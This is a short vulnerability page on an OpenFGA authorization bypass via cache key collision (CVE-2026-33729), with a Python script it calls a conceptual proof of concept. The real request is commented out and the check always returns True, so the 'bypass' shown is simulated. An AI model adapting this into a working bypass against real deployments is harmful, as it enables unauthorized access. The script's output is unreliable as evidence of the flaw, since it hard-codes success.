CVE-2026-33729 OpenFGA授权绕过漏洞

# Conceptual PoC for OpenFGA Cache Key Collision (CVE-2026-33729) # This script demonstrates the logic of the vulnerability, not a direct exploit. import requests def check_permission(target_url, user, relation, object_id, context): """Simulates a check request to OpenFGA""" payload = { "user": user, "relation": relation, "object": object_id, "context": context } # In a vulnerable version, different payloads might generate the same cache key print(f"Sending check request for {user} on {object_id}...") # response = requests.post(f"{target_url}/checks", json=payload) # return response.json()['allowed'] return True # Simulated response # Scenario: Attacker exploits cache key collision # 1. Legitimate User Request (Cached) # This request is evaluated and allowed, then cached. # Cache Key generated: KEY_X print("Step 1: Legitimate user (Alice) requests access.") check_permission( "http://openfga-instance", "user:alice", "can_view", "doc:public_report", {"env": "prod"} ) print("-> Allowed and Cached as KEY_X") # 2. Attacker Request (Bypass) # Attacker sends a different request that collides with KEY_X. # The system retrieves the cached result (Allowed) instead of evaluating the new request. print("\nStep 2: Attacker (Bob) sends crafted request triggering collision.") result = check_permission( "http://openfga-instance", "user:bob", "can_delete", # Sensitive operation "doc:secret_plan", # Sensitive object {"env": "staging", "trig": "collision_payload"} ) print(f"-> Result: {result} (Returned from cache KEY_X, bypassing real check)") if result: print("Vulnerability Exploited: Unauthorized access granted via cache reuse.")